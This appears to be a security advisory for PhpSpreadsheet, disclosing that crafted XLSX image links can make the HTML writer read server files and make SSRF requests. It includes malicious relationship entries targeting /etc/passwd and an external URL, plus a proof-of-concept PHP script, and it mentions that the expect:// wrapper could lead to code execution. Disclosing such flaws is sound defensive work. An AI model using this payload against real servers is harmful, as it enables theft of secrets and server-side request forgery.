Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Details
XLSX files allow embedding or linking media. When
In xl/drawings/drawing1.xml an attacker can do e.g.:
<a:blip cstate="print" r:link="rId1" />
And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="/etc/passwd" />or
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://example.org" />When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
$picture = @file_get_contents($filename);
if ($picture !== false) {
$imageDetails = getimagesize($filename) ?: ['mime' => ''];
// base64 encode the binary data
$base64 = base64_encode($picture);
$imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
}
}
$html .= '<img style="position: absolute; z-index: 1; left: '
. $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
. $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
. $imageData . '" alt="' . $filedesc . '" />';PoC
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));Add this file in the same directory:
book.xlsx
Run with:
php index.php
Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.
emilvirkki Reporter
Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with
$writer->setEmbedImages(true);those files will be included in the output asdata:URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.Details
XLSX files allow embedding or linking media. When
In
xl/drawings/drawing1.xmlan attacker can do e.g.:And then, in
xl/drawings/_rels/drawing1.xml.relsthey can set the path to anything, such as:or
When the HTML writer is outputting the image, it does not check the path in any way. Also the
getimagesize()call does not mitigate this, because whengetimagesize()returns false, an empty mime type is used.PoC
Add this file in the same directory:
book.xlsx
Run with:
php index.phpImpact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the
expect://wrapper is enabled, also remote code execution is possible.